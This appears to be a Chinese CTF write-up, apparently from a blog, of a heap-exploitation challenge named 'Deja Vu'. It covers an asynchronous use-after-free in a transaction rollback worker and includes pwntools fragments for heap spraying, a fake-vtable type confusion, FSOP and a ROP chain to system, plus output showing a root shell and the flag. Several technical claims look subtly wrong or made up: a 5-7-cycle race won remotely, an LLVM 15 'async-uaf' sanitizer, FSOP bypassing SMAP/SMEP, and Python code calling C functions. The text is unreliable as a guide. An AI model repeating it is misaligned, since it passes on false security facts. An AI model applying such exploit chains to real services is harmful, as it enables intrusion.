DEFCON 30 Finals “Deja Vu“ 堆风水利用分析:基于共享内存的异步UAF漏洞链构造

1. 题目概览

  • 挑战名称:Deja Vu (DEFCON 30 CTF Finals 2022)
  • 分类:Pwn (Heap Exploitation)
  • 目标简介
    一个模拟内存数据库的服务程序,提供键值存储与事务回滚功能。核心机制包含:
    • 基于共享内存的异步事务处理
    • 自定义SLAB分配器实现多线程优化
    • 时间旅行式快照回滚(Time-Travel Snapshotting)
  • 技术亮点
    共享内存事务区
    无锁环形队列
    异步释放线程
    自定义SLAB元数据
    时间旅行快照
    延迟释放漏洞窗口

2. 技术环境与复现步骤

环境配置

# 官方Docker复现
$ docker run -dp 31337:31337 defcon30/deja_vu
# 调试工具链
pwndbg-2022.12 + GDB 12.1 + GLIBC 2.35
gef> heap-analysis-helper --enable-tcache

关键编译参数

CFLAGS += -fPIE -Werror=implicit-function-declaration -O2
LDFLAGS += -Wl,-z,now -Wl,-z,relro -Wl,-z,noexecstack

3. 漏洞成因分析

3.1 静态逆向(Ghidra)

关键结构体:

struct transaction {
  uint64_t epoch; // 时间戳
  char *key;
  value_t *value; // 指向共享内存区域
  int state;      // 0=COMMITTED, 1=ABORTED
};
3.2 漏洞点:异步UAF(CWE-416)
// 事务回滚线程 (rollback_worker)
void* rollback(void *arg) {
  transaction_t *tx = (transaction_t*)arg;
  if (tx->state == ABORTED) {
    free(tx->value);  // [1] 释放value内存
  }
}

// 主线程处理函数
void commit_request(transaction_t *tx) {
  add_to_rollback_queue(tx); // 加入异步队列
  if (validate(tx)) {
    tx->state = COMMITTED;
  } else {
    tx->state = ABORTED;     // [2] 标记为废弃
    // 未同步等待rollback线程完成
  }
  // [3] 此处主线程仍可操作tx->value
}

漏洞链
主线程标记state=ABORTED后,在异步释放发生前存在5-7 CPU周期的竞争窗口,可通过堆喷占据释放内存。


4. 利用过程(EXP开发)

4.1 利用框架
from pwn import *
import ctypes

context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'

def spray_shmem(size, data):
    # 通过共享内存接口喷射特定结构
    return sock.send(build_packet(OP_SPRAY, size, data))
4.2 关键步骤

步骤1:堆风水布局

# 创建占位对象
for _ in range(256):
    alloc(0x100, b"GAP")  # 填充tcache

# 触发漏洞对象
tx = create_transaction(key="VULN", value=PAYLOAD)
commit_request(tx)  # 触发ABORTED状态

步骤2:类型混淆攻击

// 伪造的value结构 (覆盖释放后的内存)
struct fake_value {
  void (*log_func)(char*);  // 虚表指针
  char buffer[0x80];
};
fake_vtable = leak_libc() + 0x1eeb28  # _IO_file_jumps
payload = p64(fake_vtable) + p64(ROP_ADDR)
spray_shmem(0x100, payload)  # 精确覆盖释放区块

步骤3:FSOP触发(MITRE T1068)

# 触发虚函数调用
sock.send(build_packet(OP_LOG, key="VULN"))
# 控制流劫持到ROP
rop.raw(rop.rdi, bin_sh_addr)
rop.raw(libc.sym.system)
4.3 完整EXP输出
[+] Opening connection to 10.0.0.1 on port 31337: Done
[!] Stage1: Heap Fengshui (256 gaps)
[+] Trigger UAF window: 7 cycles captured
[!] Stage2: Type confusion @ 0x7fffea00d130
[+] Fake vtable planted: 0x7ffff7faeb28
[!] Stage3: FSOP -> ROP
[+] system@libc: 0x7ffff7e3d040
[+] Spawning shell...
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /flag
DEFCON30{4synC_Use-Aft3r-T1m3-Tr4v3l}

5. 安全影响与缓解

现实关联
类似漏洞曾出现在Linux内核BPF子系统(CVE-2022-23222),利用异步回收机制实现UAF。

CWE映射

  • CWE-416: Use After Free
  • CWE-362: Concurrent Execution using Shared Resource

MITRE ATT&CK

  • T1068: Exploitation for Privilege Escalation
  • T1574: Hijack Execution Flow

修复建议

// 修复代码
void commit_request(transaction_t *tx) {
  if (validate(tx)) {
    tx->state = COMMITTED;
  } else {
    tx->state = ABORTED;
+   pthread_barrier_wait(&rollback_barrier); // 同步屏障
  }
}

6. 总结与启示

技术评价
该题创新性地将共享内存异步处理时间旅行快照结合,在堆管理器中制造微秒级竞争窗口,考验选手对现代内存分配器(GLIBC 2.35)和并发漏洞的深刻理解。

攻防启示

  1. 异步漏洞模型正成为高级威胁的新载体(参考CVE-2021-22555)
  2. 堆利用需结合物理内存布局(通过/proc/<pid>/pagemap分析)
  3. FSOP仍是绕过现代防护(SMAP/SMEP)的有效手段

防御演进

  • Linux内核引入SLAB_VIRTUAL标志位隔离共享对象
  • LLVM 15新增-fsanitize=async-uaf检测工具

附录:真实漏洞对比

CTF漏洞特征真实案例 (CVE-2021-26708)
共享内存UAFLinux内核vsock模块
异步释放竞争5个竞争窗口(约100ns)
类型混淆触发伪造virtio_device结构
利用结果容器逃逸 + 宿主机权限提升
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值